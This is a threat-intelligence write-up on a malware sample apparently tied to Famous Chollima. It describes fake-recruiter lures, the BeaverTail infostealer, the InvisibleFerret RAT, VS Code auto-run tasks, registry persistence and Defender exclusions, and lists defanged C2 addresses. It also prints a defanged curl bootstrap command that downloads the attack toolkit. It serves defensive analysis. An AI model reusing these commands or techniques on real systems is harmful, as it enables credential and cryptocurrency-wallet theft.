Famous Chollima related Hash [48f2a3bfb7a70b97875e56d932ada0d975cd5ee154a99caf7d93550275a1548a]:
TTPs:
The malware leverages a multi-stage infection process starting with social engineering . Victims are tricked into downloading a "demo project" (the ZIP file) and running it as part of a technical assessment.
Once executed, the JavaScript-based BeaverTail fingerprints the system and checks for virtualized environments or sandboxes. It scans the filesystem for sensitive data, targeting over 200 browser profile directories (Chrome, Brave, Opera) to steal cookies, credentials, and cryptocurrency wallet extensions (MetaMask, Phantom, TronLink).
The secondary payload, InvisibleFerret, is a modular Python RAT that provides full remote shell access and persistent control.
Recent variants utilize VS Code Tasks (tasks.json) to automatically trigger execution the moment the project folder is opened in Visual Studio Code.
API Interactions & Operations:
Exact Command Run: On Windows, it typically launches a hidden window using wscript.exe to run a VBScript (e.g., start.vbs or update.vbs), which then executes a Python interpreter masquerading as a system process:
cmd.exe /c svchost.exe updatedriver[.]py (where svchost.exe is actually python.exe).
Registry Changes: For persistence, it modifies the Run registry keys to ensure execution upon system startup:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
System Changes:Creates a hidden directory (e.g., ~/.n2 on Linux/macOS or AppData\Local\Temp subfolders on Windows) to stage stolen data.
Adds Windows Defender exclusions via PowerShell to prevent detection of its payloads.
Schedules tasks mimicking legitimate processes like RuntimeBroker.exe or svchost.
Indicators of Compromise:
Network Infrastructure:
172[.]86[.]116.178 (C2 Server for keylogging/screenshots)
193[.]124[.]33[.]71:3217
Most Important artefact: - Main file is dropping dozens of child files. One of these child files (a shell script named pre-commit) was observed attempting to execute:
curl -fsSL https[:]//lab99[.]sbs/api/terminal/bootstrap?os=mac&flag=6
This is the bootstrap command that downloads the rest of the toolkit.
Attack Chain:
Social Engineering (LinkedIn/Fake Recruiter) --> Lure to clone malicious Repo (GitHub/GitLab) --> ZIP download ("Fintech Demo[.]zip") --> VS Code Auto-Run Task OR Manual Execution --> BeaverTail Infostealer (Credential/Wallet Theft) --> InvisibleFerret Python RAT (Persistence/Full Remote Control) --> C2 Exfiltration & Cryptojacking.
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